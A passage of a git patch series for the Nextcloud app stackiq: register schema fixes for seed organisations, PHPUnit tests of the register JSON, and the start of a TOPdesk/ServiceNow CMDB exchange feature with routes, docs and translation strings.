JSON.parse(fs.readFileSync(path.join(dir, f), 'utf8'))), + menuLayout, + ) + const page = merged.pages.find((p) => p.id === 'GebruikDetail') + + it('shows the scores and the suggested class in their own section', () => { + const assessment = page.config.widgets.find((w) => w.id === 'gb-assessment') + expect(assessment.content.include).toEqual( + expect.arrayContaining([ + 'businessValue', + 'technicalFit', + 'riskScore', + 'scoredOn', + 'timeClassification', + 'suggestedTimeClassification', + ]), + ) + expect(page.config.layout.some((l) => l.widgetId === 'gb-assessment')).toBe( + true, + ) + }) + + it('places the risk signals after the data and registers the component', () => { + const signals = page.config.bodyWidgets.find( + (w) => w.component === 'UsageRiskSignals', + ) + expect(signals.props).toEqual({ objectId: '@objectId' }) + expect(signals.placement).toBe('after-data') + const registry = fs.readFileSync( + path.resolve(__dirname, '../../src/customComponents.js'), + 'utf8', + ) + expect(registry).toMatch(/^\s*UsageRiskSignals,$/m) + }) +}) From 497bb3ff79c82736f8a5c3ab21182a68df12f9e2 Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Thu, 1 Oct 2026 07:45:32 +0200 Subject: [PATCH 058/176] fix(register): seed organisations save on a fresh install (#1203) contactsUid is optional and nested seed organisations carry type, so all seed organisations land on a fresh install instead of failing NOT NULL. --- lib/Settings/softwarecatalogus_register.json | 39 +++---- .../Settings/OrganisationSeedSavesTest.php | 106 ++++++++++++++++++ 2 files changed, 126 insertions(+), 19 deletions(-) create mode 100644 tests/Unit/Settings/OrganisationSeedSavesTest.php diff --git a/lib/Settings/softwarecatalogus_register.json b/lib/Settings/softwarecatalogus_register.json index 85f71c906..966d2e0c2 100644 --- a/lib/Settings/softwarecatalogus_register.json +++ b/lib/Settings/softwarecatalogus_register.json @@ -3,8 +3,8 @@ "info": { "title": "Software Catalog Register", "description": "Register containing AMEF and Voorzieningen schemas for the VNG Software Catalog application. This configuration includes schemas for applications, services, organizations, and compliance tracking.", - "version": "2.5.5", - "changelog": "2.5.5: the maintenanceWindow schema (0.1.0) joins the stackiq register, for maintenance a supplier plans on its products, with the owners of every usage notified (lifecycle-maintenance-and-supplier-roadmap). 2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." + "version": "2.5.6", + "changelog": "2.5.6: contactsUid is no longer required on organization (0.5.2) and contactPerson (0.0.28). It is a link to the Nextcloud addressbook that the contacts sync fills in after the record exists (MigrateContactsToNc, OrganizationContactSyncJob), so a required column made OpenRegister create it NOT NULL and every seed organisation failed to save on a fresh install (the organization table stayed empty). OpenRegister drops the NOT NULL on the existing column when the schema syncs. 2.5.5: the maintenanceWindow schema (0.1.0) joins the stackiq register, for maintenance a supplier plans on its products, with the owners of every usage notified (lifecycle-maintenance-and-supplier-roadmap). 2.5.4: usage (1.5.2) gains businessOwner and technicalOwner, contact persons of the consumer organisation; a usage is named after its application and organisation; status becomes facetable for the Applications in use filters (landscape-usage-registration). 2.5.3: the aiSystem schema (0.1.0) joins the stackiq register, for the AI systems an organisation uses and their EU AI Act classification (landscape-ai-system-inventory). 2.5.2: the connection schema (0.3.3) asked its national provision picker for gemmaType Buitengemeentenlijke voorziening, a spelling the GEMMA model does not use (it says Buitengemeentelijke voorziening), so the picker found nothing; its name template named the keys gegevensuitwisselingRichting and buitengemeentelijkVoorziening and the values AnaarB, BnaarA and bi-directioneel, all renamed since, so a connection had no readable name; and type, status and dataExchangeDirection become facetable for the new Connections page (connections-catalogue-pages). 2.5.1: the x-openregister-lifecycle blocks of usage, catalogContract, connection and moduleVersion still named the Dutch states (Verwerving/Gepland/In productie/Uit te faseren/Uitgefaseerd, In onderhandeling/Actief/Verlopen, in ontwikkeling/in gebruik/einde ondersteuning/teruggetrokken) while their status enums and the rows RenameDutchCatalogValues migrated are English, so no transition was ever offered on those records (stackiq#1140). The states now use the enum values, and the four schema versions are bumped (usage 1.5.1, catalogContract 0.1.2, connection 0.3.2, moduleVersion 0.1.5) because a lifecycle-only edit does not deploy without one, as 2.4.4 records. 2.4.4: organization.status was left behind by #520's enum translation — its `default` was still 'Concept' and its whole x-openregister-lifecycle block still named Concept/Actief/Deactief, while the enum and the migrated rows are Draft/Active/Inactive/merged. A default outside its own enum makes every newly created organisation fall out of the Organisations index filter, and a lifecycle whose from/to values match no row offers no transition at all — neither raises an error. The schema version is bumped with it because a deployed version >= the declared one makes the import SKIP, and OpenRegister's schemaContentDiffers() escape hatch compares only properties/required/authorization — never `configuration` — so a lifecycle-only edit would never have deployed. 2.4.3: Re-authored Dutch schema-level titles to English (dienst, kwetsbaarheid, contactpersoon, organisatie, gebruik, koppeling, beoordeeling, module, bioMaatregel, moduleVersie, sbomComponent); schema keys unchanged, Dutch labels now come from the app's l10n translation files. 2.4.2: Moved SBOM provenance properties (sbomLastImportedAt, sbomFormat, sbomFileName, sbomComponents) from the organisatie schema to moduleVersie, where SBOM imports actually record them; without this the moduleVersie magic table lacked the columns so recordProvenance() writes were silently dropped and the import-status endpoint always reported 'never imported'. 2.4.1: Re-authored Dutch schema property titles to English (property keys unchanged); Dutch labels now come from the app's l10n translation files." }, "x-openregister": { "type": "application", @@ -1791,17 +1791,14 @@ "x-schema-org": "schema:Person", "title": "Contact person", "description": "Contactgegevens van een persoon", - "version": "0.0.27", + "version": "0.0.28", "omschrijving": "", "icon": "AccountMultiple", - "required": [ - "contactsUid" - ], + "required": [], "properties": { "contactsUid": { "type": "string", "description": "Verwijzing (UID) naar de Nextcloud-contactpersoon in het adresboek (OCP\\Contacts\\IManager). Identiteit (naam, e-mail, telefoon) leeft in Nextcloud Contacts; dit record bewaart alleen de catalogus-specifieke rol/relatie.", - "required": true, "visible": true, "facetable": false, "title": "Contact-UID", @@ -2025,11 +2022,10 @@ "x-schema-org": "schema:Organization", "title": "Organization", "description": "An organisation that offers provisions. Absorbs the former ArchiMate `organization` schema: its identity and statutory identifiers (name, summary, description, oin, tooi, rsin, pki, image) and its ArchiMate round-trip `xml` are declared here, so there is one organisation schema rather than two that shared no property.", - "version": "0.5.1", + "version": "0.5.2", "omschrijving": "", "icon": "OfficeBuildingOutline", "required": [ - "contactsUid", "type" ], "properties": { @@ -2148,7 +2144,6 @@ "contactsUid": { "description": "Verwijzing (UID) naar de Nextcloud-contactpersoon van het type organisatie in het adresboek (OCP\\Contacts\\IManager). Identiteit (naam, e-mail, website, logo, CBS/KvK-code) leeft in Nextcloud Contacts; dit record bewaart alleen de catalogus-specifieke relatie/rol.", "type": "string", - "required": true, "visible": true, "order": 0, "maxLength": 255, @@ -8656,7 +8651,7 @@ "register": "stackiq", "schema": "usage", "slug": "gebruik-topdesk-gem-leiden-deelnemers", - "version": "0.0.1" + "version": "0.0.2" }, "name": "Topdesk bij Servicecenter Rijnland (SSC)", "status": "In production", @@ -8664,19 +8659,22 @@ "consumer": { "name": "Servicecenter Rijnland", "oin": "00000001001234567890", - "slug": "servicecenter-rijnland" + "slug": "servicecenter-rijnland", + "type": "Collaboration" }, "module": "topdesk-itsm", "participants": [ { "name": "Gemeente Leiden", "oin": "00000001001234567891", - "slug": "gemeente-leiden" + "slug": "gemeente-leiden", + "type": "Municipality" }, { "name": "Gemeente Leiderdorp", "oin": "00000001001234567892", - "slug": "gemeente-leiderdorp" + "slug": "gemeente-leiderdorp", + "type": "Municipality" } ] }, @@ -8685,7 +8683,7 @@ "register": "stackiq", "schema": "usage", "slug": "gebruik-key2-gem-leiden-deelnemer", - "version": "0.0.1" + "version": "0.0.2" }, "name": "KEY2 Burgerzaken gedeeld via GBLT", "status": "Planned", @@ -8693,14 +8691,16 @@ "consumer": { "name": "Gemeentebelastingen Coevorden Hardenberg (GBLT)", "oin": "00000001001234567893", - "slug": "gblt" + "slug": "gblt", + "type": "Collaboration" }, "module": "key2-burgerzaken", "participants": [ { "name": "Gemeente Leiden", "oin": "00000001001234567891", - "slug": "gemeente-leiden" + "slug": "gemeente-leiden", + "type": "Municipality" } ] }, @@ -8709,7 +8709,7 @@ "register": "stackiq", "schema": "usage", "slug": "gebruik-suite4-gem-delft-eigenaar", - "version": "0.0.1" + "version": "0.0.2" }, "name": "Suite4 Schuldhulpverlening - eigenaar Gemeente Delft", "status": "In production", @@ -8717,7 +8717,8 @@ "consumer": { "name": "Gemeente Delft", "oin": "00000001001234567894", - "slug": "gemeente-delft" + "slug": "gemeente-delft", + "type": "Municipality" }, "module": "suite4-schuldhulpverlening", "participants": [] diff --git a/tests/Unit/Settings/OrganisationSeedSavesTest.php b/tests/Unit/Settings/OrganisationSeedSavesTest.php new file mode 100644 index 000000000..50b6a3270 --- /dev/null +++ b/tests/Unit/Settings/OrganisationSeedSavesTest.php @@ -0,0 +1,106 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/settings-service/spec.md + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use PHPUnit\Framework\TestCase; + +/** + * Asserts that the contacts link is optional and that every organisation a + * seed object creates carries the organisation schema's required fields. + */ +class OrganisationSeedSavesTest extends TestCase { + + /** + * The register as shipped. + * + * @return array + */ + private function register(): array { + return json_decode((string) file_get_contents(__DIR__ . '/../../../lib/Settings/softwarecatalogus_register.json'), true); + }//end register() + + /** + * No schema requires the contacts link, in its required list or on the property. + * + * @return void + */ + public function testTheContactsLinkIsNeverRequired(): void { + $schemas = $this->register()['components']['schemas']; + $checked = 0; + foreach ($schemas as $key => $schema) { + if (isset($schema['properties']['contactsUid']) === false) { + continue; + } + + $checked++; + $this->assertNotContains('contactsUid', $schema['required'] ?? [], $key); + $this->assertNotTrue($schema['properties']['contactsUid']['required'] ?? false, $key); + } + + $this->assertSame(2, $checked, 'organization and contactPerson both carry contactsUid'); + }//end testTheContactsLinkIsNeverRequired() + + /** + * Every organisation nested in a seed object carries all required organisation fields. + * + * @return void + */ + public function testEverySeededOrganisationCarriesTheRequiredFields(): void { + $register = $this->register(); + $schemas = $register['components']['schemas']; + $required = $schemas['organization']['required']; + $typeEnum = $schemas['organization']['properties']['type']['enum']; + $this->assertNotEmpty($required); + + $organisations = []; + foreach ($register['components']['objects'] as $object) { + $schema = $schemas[$object['@self']['schema']]; + foreach ($schema['properties'] as $name => $property) { + $ref = $property['$ref'] ?? ($property['items']['$ref'] ?? null); + if ($ref !== '#/components/schemas/organization' || isset($object[$name]) === false) { + continue; + } + + $values = $object[$name]; + if (isset($values['slug']) === true) { + $values = [$values]; + } + + foreach ($values as $organisation) { + $organisations[] = $organisation; + } + } + } + + $this->assertGreaterThanOrEqual(5, count($organisations)); + foreach ($organisations as $organisation) { + foreach ($required as $field) { + $this->assertArrayHasKey($field, $organisation, $organisation['slug']); + } + + $this->assertContains($organisation['type'], $typeEnum, $organisation['slug']); + } + }//end testEverySeededOrganisationCarriesTheRequiredFields() +}//end class From c696d6256a895a8b2668f1958e6709cf0e341691 Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Thu, 1 Oct 2026 10:11:39 +0200 Subject: [PATCH 059/176] fix(seed): seed usages reference their organisations, so each is created once (#1207) OpenRegister creates a new organisation for every nested occurrence in a seed, so a fresh install held Gemeente Leiden four times. The five seed organisations are now seed objects of their own and the seed usages point at them with @ref:organization:; usage seeds move to 1.0.0 so the import does not skip them. OrganisationSeedSavesTest checks every referenced organisation is seeded exactly once. --- lib/Settings/softwarecatalogus_register.json | 108 +++++++++++------- .../Settings/OrganisationSeedSavesTest.php | 54 ++++++--- 2 files changed, 105 insertions(+), 57 deletions(-) diff --git a/lib/Settings/softwarecatalogus_register.json b/lib/Settings/softwarecatalogus_register.json index 966d2e0c2..7b94c6305 100644 --- a/lib/Settings/softwarecatalogus_register.json +++ b/lib/Settings/softwarecatalogus_register.json @@ -8646,36 +8646,81 @@ } }, "objects": [ + { + "@self": { + "register": "stackiq", + "schema": "organization", + "slug": "servicecenter-rijnland", + "version": "0.0.1" + }, + "name": "Servicecenter Rijnland", + "oin": "00000001001234567890", + "type": "Collaboration", + "status": "Active" + }, + { + "@self": { + "register": "stackiq", + "schema": "organization", + "slug": "gemeente-leiden", + "version": "0.0.1" + }, + "name": "Gemeente Leiden", + "oin": "00000001001234567891", + "type": "Municipality", + "status": "Active" + }, + { + "@self": { + "register": "stackiq", + "schema": "organization", + "slug": "gemeente-leiderdorp", + "version": "0.0.1" + }, + "name": "Gemeente Leiderdorp", + "oin": "00000001001234567892", + "type": "Municipality", + "status": "Active" + }, + { + "@self": { + "register": "stackiq", + "schema": "organization", + "slug": "gblt", + "version": "0.0.1" + }, + "name": "Gemeentebelastingen Coevorden Hardenberg (GBLT)", + "oin": "00000001001234567893", + "type": "Collaboration", + "status": "Active" + }, + { + "@self": { + "register": "stackiq", + "schema": "organization", + "slug": "gemeente-delft", + "version": "0.0.1" + }, + "name": "Gemeente Delft", + "oin": "00000001001234567894", + "type": "Municipality", + "status": "Active" + }, { "@self": { "register": "stackiq", "schema": "usage", "slug": "gebruik-topdesk-gem-leiden-deelnemers", - "version": "0.0.2" + "version": "1.0.0" }, "name": "Topdesk bij Servicecenter Rijnland (SSC)", "status": "In production", "elementRef": "topdesk-ssc-rijnland", - "consumer": { - "name": "Servicecenter Rijnland", - "oin": "00000001001234567890", - "slug": "servicecenter-rijnland", - "type": "Collaboration" - }, + "consumer": "@ref:organization:servicecenter-rijnland", "module": "topdesk-itsm", "participants": [ - { - "name": "Gemeente Leiden", - "oin": "00000001001234567891", - "slug": "gemeente-leiden", - "type": "Municipality" - }, - { - "name": "Gemeente Leiderdorp", - "oin": "00000001001234567892", - "slug": "gemeente-leiderdorp", - "type": "Municipality" - } + "@ref:organization:gemeente-leiden", + "@ref:organization:gemeente-leiderdorp" ] }, { @@ -8683,25 +8728,15 @@ "register": "stackiq", "schema": "usage", "slug": "gebruik-key2-gem-leiden-deelnemer", - "version": "0.0.2" + "version": "1.0.0" }, "name": "KEY2 Burgerzaken gedeeld via GBLT", "status": "Planned", "elementRef": "key2-burgerzaken-gblt", - "consumer": { - "name": "Gemeentebelastingen Coevorden Hardenberg (GBLT)", - "oin": "00000001001234567893", - "slug": "gblt", - "type": "Collaboration" - }, + "consumer": "@ref:organization:gblt", "module": "key2-burgerzaken", "participants": [ - { - "name": "Gemeente Leiden", - "oin": "00000001001234567891", - "slug": "gemeente-leiden", - "type": "Municipality" - } + "@ref:organization:gemeente-leiden" ] }, { @@ -8709,17 +8744,12 @@ "register": "stackiq", "schema": "usage", "slug": "gebruik-suite4-gem-delft-eigenaar", - "version": "0.0.2" + "version": "1.0.0" }, "name": "Suite4 Schuldhulpverlening - eigenaar Gemeente Delft", "status": "In production", "elementRef": "suite4-schuldhulp-delft", - "consumer": { - "name": "Gemeente Delft", - "oin": "00000001001234567894", - "slug": "gemeente-delft", - "type": "Municipality" - }, + "consumer": "@ref:organization:gemeente-delft", "module": "suite4-schuldhulpverlening", "participants": [] } diff --git a/tests/Unit/Settings/OrganisationSeedSavesTest.php b/tests/Unit/Settings/OrganisationSeedSavesTest.php index 50b6a3270..29fc6d2cd 100644 --- a/tests/Unit/Settings/OrganisationSeedSavesTest.php +++ b/tests/Unit/Settings/OrganisationSeedSavesTest.php @@ -27,8 +27,8 @@ use PHPUnit\Framework\TestCase; /** - * Asserts that the contacts link is optional and that every organisation a - * seed object creates carries the organisation schema's required fields. + * Asserts that the contacts link is optional and that the seeds create each + * organisation once, with the organisation schema's required fields. */ class OrganisationSeedSavesTest extends TestCase { @@ -63,18 +63,39 @@ public function testTheContactsLinkIsNeverRequired(): void { }//end testTheContactsLinkIsNeverRequired() /** - * Every organisation nested in a seed object carries all required organisation fields. + * Seeds name an organisation by reference, never inline, and each one is seeded exactly once with the required fields. + * + * OpenRegister creates a NEW object for every inline occurrence of a related + * object (SaveObject::cascadeSingleObject), so an organisation nested in two + * seed usages became two rows on every import. A `@ref:organization:` + * token resolves to the one seeded organisation (ImportHandler + * resolveSeedReferenceTokens), and a re-import reuses its uuid. * * @return void */ - public function testEverySeededOrganisationCarriesTheRequiredFields(): void { + public function testSeedsReferenceEachOrganisationOnce(): void { $register = $this->register(); $schemas = $register['components']['schemas']; $required = $schemas['organization']['required']; $typeEnum = $schemas['organization']['properties']['type']['enum']; - $this->assertNotEmpty($required); - $organisations = []; + $seeded = []; + foreach ($register['components']['objects'] as $object) { + if ($object['@self']['schema'] !== 'organization') { + continue; + } + + $slug = $object['@self']['slug']; + $this->assertArrayNotHasKey($slug, $seeded, $slug . ' is seeded once'); + foreach ($required as $field) { + $this->assertArrayHasKey($field, $object, $slug); + } + + $this->assertContains($object['type'], $typeEnum, $slug); + $seeded[$slug] = true; + } + + $references = 0; foreach ($register['components']['objects'] as $object) { $schema = $schemas[$object['@self']['schema']]; foreach ($schema['properties'] as $name => $property) { @@ -84,23 +105,20 @@ public function testEverySeededOrganisationCarriesTheRequiredFields(): void { } $values = $object[$name]; - if (isset($values['slug']) === true) { + if (is_array($values) === false || array_is_list($values) === false) { $values = [$values]; } - foreach ($values as $organisation) { - $organisations[] = $organisation; + foreach ($values as $value) { + $this->assertIsString($value, $object['@self']['slug'] . '.' . $name . ' names an organisation by reference, not inline'); + $this->assertStringStartsWith('@ref:organization:', $value); + $this->assertArrayHasKey(substr($value, strlen('@ref:organization:')), $seeded, $value . ' is a seeded organisation'); + $references++; } } } - $this->assertGreaterThanOrEqual(5, count($organisations)); - foreach ($organisations as $organisation) { - foreach ($required as $field) { - $this->assertArrayHasKey($field, $organisation, $organisation['slug']); - } - - $this->assertContains($organisation['type'], $typeEnum, $organisation['slug']); - } - }//end testEverySeededOrganisationCarriesTheRequiredFields() + $this->assertGreaterThanOrEqual(5, $references); + $this->assertCount(5, $seeded); + }//end testSeedsReferenceEachOrganisationOnce() }//end class From 1a4916109acfae0e24e43e0aefaa9efcea5e7cf2 Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Thu, 1 Oct 2026 22:21:21 +0200 Subject: [PATCH 060/176] feat(itsm): stackiq as a CMDB with two-way TOPdesk and ServiceNow sync (#1205) Imports applications, applications in use, suppliers, relations, licences and contracts from TOPdesk and ServiceNow and exports stackiq's own fields back, through integriq's sources and ownership-aware mapping presets and OpenRegister flows. The source system wins for the fields it owns; stackiq-only fields (licences, contracts, publication) always stay. Each direction keeps a hash of only its own fields, so an echo produces no write. Adds licence fields (vendorReference, currency, supplier; a contract no longer needs a catalogue service), a CSV/XLSX import through the same flow, a CMDB dashboard, a Service desk exchange admin section that preflights every flow before creating anything, and a Service desk column on usages. Verified live against TOPdesk and ServiceNow mocks; the run against a real ServiceNow instance is still open. --- appinfo/routes.php | 8 + docs/features/service-desk-exchange.md | 57 ++ l10n/en.js | 56 +- l10n/en.json | 56 +- l10n/nl.js | 56 +- l10n/nl.json | 56 +- lib/Controller/ItsmExchangeController.php | 154 ++++++ lib/Service/ConnectionReportService.php | 26 + lib/Service/Itsm/ItsmFlowGateway.php | 223 ++++++++ lib/Service/ItsmExchangeService.php | 516 ++++++++++++++++++ lib/Service/ItsmFileImportService.php | 238 ++++++++ lib/Settings/connections.json | 13 + .../flows/itsm-file-applications.json | 318 +++++++++++ .../flows/itsm-inbound-applications.json | 336 ++++++++++++ .../flows/itsm-inbound-contracts.json | 373 +++++++++++++ ...tsm-inbound-relations-per-application.json | 347 ++++++++++++ .../flows/itsm-inbound-relations.json | 322 +++++++++++ .../flows/itsm-outbound-applications.json | 458 ++++++++++++++++ .../register.d/sharing-itsm-exchange.json | 218 ++++++++ lib/Settings/register.d/value-assessment.json | 2 +- lib/Settings/softwarecatalogus_register.json | 6 +- .../changes/sharing-itsm-exchange/design.md | 129 ++++- .../changes/sharing-itsm-exchange/proposal.md | 47 +- .../specs/itsm-exchange/spec.md | 114 +++- .../changes/sharing-itsm-exchange/tasks.md | 87 ++- src/main.js | 10 + src/manifest.d/cmdb.json | 168 ++++++ src/manifest.d/usages.json | 8 +- src/views/cmdb/CmdbOverview.vue | 326 +++++++++++ src/views/settings/StackiqSettings.vue | 5 + src/views/settings/sections/ItsmExchange.vue | 280 ++++++++++ .../Unit/Service/ItsmExchangeServiceTest.php | 217 ++++++++ .../Service/ItsmFileImportServiceTest.php | 167 ++++++ .../Settings/ConnectionsDeclarationTest.php | 29 +- .../Settings/ItsmExchangeFragmentTest.php | 172 ++++++ tests/Unit/Settings/ItsmFlowTemplatesTest.php | 316 +++++++++++ tests/e2e/workflows/itsm-exchange.spec.ts | 111 ++++ tests/live/itsm-exchange-live.sh | 162 ++++++ 38 files changed, 6102 insertions(+), 85 deletions(-) create mode 100644 docs/features/service-desk-exchange.md create mode 100644 lib/Controller/ItsmExchangeController.php create mode 100644 lib/Service/Itsm/ItsmFlowGateway.php create mode 100644 lib/Service/ItsmExchangeService.php create mode 100644 lib/Service/ItsmFileImportService.php create mode 100644 lib/Settings/flows/itsm-file-applications.json create mode 100644 lib/Settings/flows/itsm-inbound-applications.json create mode 100644 lib/Settings/flows/itsm-inbound-contracts.json create mode 100644 lib/Settings/flows/itsm-inbound-relations-per-application.json create mode 100644 lib/Settings/flows/itsm-inbound-relations.json create mode 100644 lib/Settings/flows/itsm-outbound-applications.json create mode 100644 lib/Settings/register.d/sharing-itsm-exchange.json create mode 100644 src/manifest.d/cmdb.json create mode 100644 src/views/cmdb/CmdbOverview.vue create mode 100644 src/views/settings/sections/ItsmExchange.vue create mode 100644 tests/Unit/Service/ItsmExchangeServiceTest.php create mode 100644 tests/Unit/Service/ItsmFileImportServiceTest.php create mode 100644 tests/Unit/Settings/ItsmExchangeFragmentTest.php create mode 100644 tests/Unit/Settings/ItsmFlowTemplatesTest.php create mode 100644 tests/e2e/workflows/itsm-exchange.spec.ts create mode 100755 tests/live/itsm-exchange-live.sh diff --git a/appinfo/routes.php b/appinfo/routes.php index 57ec9fbc0..3586e5e40 100644 --- a/appinfo/routes.php +++ b/appinfo/routes.php @@ -292,6 +292,14 @@ ['name' => 'settings#triggerEolSync', 'url' => '/api/eol-sync/trigger', 'verb' => 'POST'], ['name' => 'settings#getEolSyncStatus', 'url' => '/api/eol-sync/status', 'verb' => 'GET'], + // SERVICE DESK EXCHANGE (sharing-itsm-exchange): status for the CMDB + // page, set-up and file import for admins. The flows themselves run + // in OpenRegister and integriq; these only create and start them. + ['name' => 'itsmExchange#status', 'url' => '/api/itsm/status', 'verb' => 'GET'], + ['name' => 'itsmExchange#config', 'url' => '/api/itsm/config', 'verb' => 'GET'], + ['name' => 'itsmExchange#setUp', 'url' => '/api/itsm/setup', 'verb' => 'POST'], + ['name' => 'itsmExchange#import', 'url' => '/api/itsm/import', 'verb' => 'POST'], + // Gebruik by group ['name' => 'gebruik#getGebruiken', 'url' => '/api/gebruik', 'verb' => 'GET'], ['name' => 'gebruik#getGebruikenForDeelnemer', 'url' => '/api/gebruik/deelnemer', 'verb' => 'GET'], diff --git a/docs/features/service-desk-exchange.md b/docs/features/service-desk-exchange.md new file mode 100644 index 000000000..d1d3f6b46 --- /dev/null +++ b/docs/features/service-desk-exchange.md @@ -0,0 +1,57 @@ + + +# Service desk exchange + +Stackiq is your CMDB for applications. It keeps the applications you use, their connections, licences and contracts in step with TOPdesk or ServiceNow, in both directions. Stackiq never holds the service desk password: integriq does. + +Specification: [`openspec/changes/sharing-itsm-exchange`](https://github.com/ConductionNL/stackiq/blob/development/openspec/changes/sharing-itsm-exchange/). + +## Who owns which field + +Each field has one owner, written in integriq's mapping. The owner's value wins. A timestamp never decides. + +| Field | Owner | +|---|---| +| Name, supplier, installed version, status, the record id and link | The service desk | +| BBN level, TIME class, publication | Stackiq | +| Licence and contract fields: number, supplier reference, type, start, end, cost, currency, metric, licences bought | Stackiq | +| Relations between applications | The service desk | + +The import only writes fields the service desk owns on a record stackiq already has. The export only sends fields stackiq owns on a record the service desk already has. A new record gets every field, from whichever side creates it. + +A licence or contract the service desk knows and stackiq does not is created with all its fields. After that stackiq owns its licence and contract fields. + +## Set it up + +1. In integriq, open the TOPdesk or ServiceNow source. Fill in your tenant address, the login name, and the password as a credential. +2. In the admin settings, open **Service desk exchange**. +3. Choose the service desk and your organisation. For TOPdesk, also enter the id of your Application asset template: TOPdesk needs it to create an asset. +4. Choose **Set up the exchange**. + +Stackiq checks every flow with OpenRegister before it saves any. If one is refused, nothing is created and the message names the step and the reason. Setting up again updates the same flows. + +The flows show on stackiq's **Flows** page. The imports run every night at 02:00. A change to a stackiq-owned field goes to the service desk within a minute. + +## What the import does + +- It reads applications, relations, licences and contracts from the service desk. +- It matches an application on its service desk record first, then on name and supplier. +- It creates the supplier, the application and your organisation's use of it when there is no match. +- A second run updates. It never adds a second copy. + +A near-duplicate, such as a spelling variant of an application that already exists, is created as a new application. It then shows up on OpenRegister's duplicate candidates page, where a steward merges the two. + +## Why nothing echoes back + +Each direction only writes its own fields, and each skips a record whose own fields did not change. So an import never triggers an export call, and an export never comes back as an import write. + +## Import a file + +No service desk API? On the **CMDB** page, import a CSV or XLSX file. Use these columns: `recordId`, `name`, `supplierName`, `installedVersion`, `status`. Every row needs a `recordId`. Importing the same file again updates the applications instead of adding them twice. + +## Next + +Open the **CMDB** page under Applications to see what stackiq records, and connect your service desk from there. diff --git a/l10n/en.js b/l10n/en.js index f81da82a9..a2dd9df92 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -901,7 +901,61 @@ OC.L10N.register( "Scored on": "Scored on", "The date the scores were set.": "The date the scores were set.", "Suggested TIME classification": "Suggested TIME classification", - "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision." + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.", + "CMDB": "CMDB", + "Stackiq is your configuration management database for applications. It records what your organisation runs, what it is made of, how it connects and what you pay for it.": "Stackiq is your configuration management database for applications. It records what your organisation runs, what it is made of, how it connects and what you pay for it.", + "What stackiq records": "What stackiq records", + "What stackiq does not record": "What stackiq does not record", + "Servers, laptops and network devices are not recorded here, and stackiq does not discover hardware on your network. Tickets and incidents stay in your service desk.": "Servers, laptops and network devices are not recorded here, and stackiq does not discover hardware on your network. Tickets and incidents stay in your service desk.", + "Service desk exchange": "Service desk exchange", + "Stackiq and {desk} are in step. The import runs every night at 02:00, and stackiq sends its own changes straight away.": "Stackiq and {desk} are in step. The import runs every night at 02:00, and stackiq sends its own changes straight away.", + "No service desk is connected yet. An admin connects TOPdesk or ServiceNow in the admin settings.": "No service desk is connected yet. An admin connects TOPdesk or ServiceNow in the admin settings.", + "The service desk owns the name, supplier, installed version and status of an application. Stackiq owns licences, contracts, BBN level, TIME class and publication. Each side only overwrites the fields it owns.": "The service desk owns the name, supplier, installed version and status of an application. Stackiq owns licences, contracts, BBN level, TIME class and publication. Each side only overwrites the fields it owns.", + "Change the exchange": "Change the exchange", + "Connect a service desk": "Connect a service desk", + "Import a file": "Import a file", + "No service desk API? Import a CSV or XLSX file with the columns recordId, name, supplierName, installedVersion and status. Importing the same file again updates the applications instead of adding them twice.": "No service desk API? Import a CSV or XLSX file with the columns recordId, name, supplierName, installedVersion and status. Importing the same file again updates the applications instead of adding them twice.", + "File to import": "File to import", + "Import file": "Import file", + "What your organisation runs, which version, and who owns it.": "What your organisation runs, which version, and who owns it.", + "Applications and their components": "Applications and their components", + "The products, from which supplier, and what they consist 